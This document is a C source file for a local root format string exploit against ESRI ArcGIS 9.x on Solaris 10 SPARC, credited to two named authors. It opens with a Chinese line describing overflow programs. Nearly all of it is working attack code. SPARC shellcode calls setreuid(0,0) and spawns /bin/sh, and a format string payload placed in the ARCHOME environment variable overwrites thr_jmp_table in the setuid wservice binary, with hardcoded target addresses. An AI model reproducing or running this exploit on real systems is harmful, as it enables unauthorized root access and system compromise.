esri arcgis 9.x arcstorm local format string (root) exploit.txt

一些可以实现益出的程序

/** ESRI 9.x Arcgis local root format string exploit
**
** Copyright Kevin Finisterre and John H.
** Bug found by Kevin Finisterre <[e-mail]>
** Exploit by John H. <[e-mail]>
**
** We overwrite the thr_jmp_table
** Tested on solaris 10
**/

#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define VULPROG "/export/home/arcgis/arcexe9x/bin/wservice"
#define NOP "\xa2\x1c\x40\x11"
int iType;

struct
{
unsigned long retloc;
unsigned long retaddr;
char *type;
}targets[] =
{

/* bash-2.05b$ nm /usr/lib/ld.so.1 | grep thr_jmp_table
0003a234 d thr_jmp_table
*/
{0xff3ea234,0xffbffba8,"SunOS 5.10sun 4u sparc SUNW"},
{0x41424344,0x41424344,"DEBUG"},
},v;

//shellcode taken from netric
char shellcode[] =
"55"

NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP
NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP

// setreuid(0,0);

"\x90\x1d\x80\x16" // xor %l6, %l6, %o0
"\x92\x1d\x80\x16" // xor %l6, %l6, %o1
"\x82\x10\x20\xca" // mov 0xca, %g1
"\x91\xd0\x20\x08" // ta 8

"\x90\x1d\x80\x16" // xor %l6, %l6, %o0
"\x92\x1d\x80\x16" // xor %l6, %l6, %o1
"\x82\x18\x40\x01" // xor %g1, %g1, %g1
"\x82\x10\x20\xcb" // mov 0x2e, %g1
"\x91\xd0\x20\x08" // ta 8 [setregid(0,0)]

"\x21\x0b\xd9\x19" // sethi %hi(0x2f646400), %l0
"\xa0\x14\x21\x76" // or %l0, 0x176, %l0
"\x23\x0b\xdd\x1d" // sethi %hi(0x2f747400), %l1
"\xa2\x14\x60\x79" // or %l1, 0x79, %l1
"\xe0\x3b\xbf\xf8" // std %l0, [ %sp - 0x8 ]
"\x90\x23\xa0\x08" // sub %sp, 8, %o0
"\x92\x1b\x80\x0e" // xor %sp, %sp, %o1
"\x82\x10\x20\x05" // mov 0x05, %g1
"\x91\xd0\x20\x08" // ta 8 [open("/dev/tty",RD_ONLY)]

"\x90\x10\x20\x02" // mov 0x02, %o0
"\x82\x10\x20\x29" // mov 0x29, %g1
"\x91\xd0\x20\x08" // ta 8 [dup(2)]

"\x21\x0b\xd8\x9a" // sethi %hi(0x2f626800), %l0
"\xa0\x14\x21\x6e" // or %l0, 0x16e, %l0
"\x23\x0b\xcb\xdc" // sethi %hi(0x2f2f7000), %l1
"\xa2\x14\x63\x68" // or %l1, 0x368, %l1
"\xe0\x3b\xbf\xf0" // std %l0, [ %sp - 0x10 ]
"\xc0\x23\xbf\xf8" // clr [ %sp - 0x8 ]
"\x90\x23\xa0\x10" // sub %sp, 0x10, %o0
"\xc0\x23\xbf\xec" // clr [ %sp - 0x14 ]
"\xd0\x23\xbf\xe8" // st %o0, [ %sp - 0x18 ]
"\x92\x23\xa0\x18" // sub %sp, 0x18, %o1
"\x94\x22\x80\x0a" // sub %o2, %o2, %o2
"\x82\x18\x40\x01" // xor %g1, %g1, %g1
"\x82\x10\x20\x3b" // mov 0x3b, %g1
"\x91\xd0\x20\x08" // ta 8 [execve("/bin/sh","/bin/sh",NULL)]

"\x82\x10\x20\x01" // mov 0x01, %g1
"\x91\xd0\x20\x08" // ta 8 [exit(?)]

"\x10\xbf\xff\xdf" // b shellcode
"\x90\x1d\x80\x16"; // or %o1, %o1, %o1

/* Big endian */
/* sparc */
char *putLong (char* ptr, long value)
{
*ptr++ = (char) (value >> 24) & 0xff;
*ptr++ = (char) (value >> 16) & 0xff;
*ptr++ = (char) (value >> 8) & 0xff;
*ptr++ = (char) (value >> 0) & 0xff;

return ptr;
}

/* main */
int main(int argc, char **argv)
{

unsigned long retaddr;
unsigned long retloc;
int offset = 23;
int dump_fmt=129;
int al = 1;
int i=0;
int x=0;
int c;
unsigned long hi,lo;
static unsigned long shift0,shift1;
char buf[9000];
char *args[24];
char *env[6];
char *ptr;
char padding[64];
char padding1[64];
char buf2[9000];

if (argc < 3) {
usage (argv[0]);
return -1;
}

while((c = getopt(argc, argv, "h:t:")) != EOF) {
switch(c) {
case 'h':
usage (argv[0]);
return 0;
case 't':
iType = atoi (optarg);
break;
default:
usage (argv[0]);
return 0;
}
}

if (argc < 2) { usage(argv[0]); exit(1); }

if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
{
usage(argv[0]);
printf("[-] Invalid type.\n");
return 0;
}

env[0] = shellcode;
env[1] = buf2;
env[2] = NULL;

args[0] = VULPROG;
args[1] = NULL;

retloc = targets[iType].retloc;
retaddr = targets[iType].retaddr;

hi = (retaddr >> 16) & 0xffff;
lo = (retaddr >> 0) & 0xffff;

shift0 = hi - offset - (dump_fmt * 8 + 16 + al);
shift1 = (0x10000 + lo) - hi;

memset(buf,0x00,sizeof(buf));
memset(buf2,0x00,sizeof(buf2));
ptr = buf;

for (i = 0; i < al; i++) {
*ptr++ = 0x41;
}

ptr = putLong (ptr, 0x41414141);
ptr = putLong (ptr, retloc);
ptr = putLong (ptr, 0x42424242);
ptr = putLong (ptr, retloc+2);

for (i = 0 ; i < dump_fmt; i ++) {
memcpy(ptr, "%.8x", 4);
ptr = ptr + 4;
}

strcat(ptr,"%.");
sprintf(ptr+strlen(ptr),"%u",shift0);
strcat(ptr,"lx%hn");

strcat(ptr,"%.");
sprintf(ptr+strlen(ptr),"%u",shift1);
strcat(ptr,"lx%hn");

strcat(buf2,"ARCHOME=");
memcpy(buf2+strlen(buf2),buf,strlen(buf));

execve (args[0], args, env);
perror ("execve");
return 0;
}

int usage(char *p)
{
int i;
printf( "Arcgis local root format string exploit\r\n");
printf( "Usage: %s <-t target>\n",p);
for(i=0;i<sizeof(targets)/sizeof(v);i++)
{
printf("%d\t%s\n", i, targets[i].type);
}
return 0;
}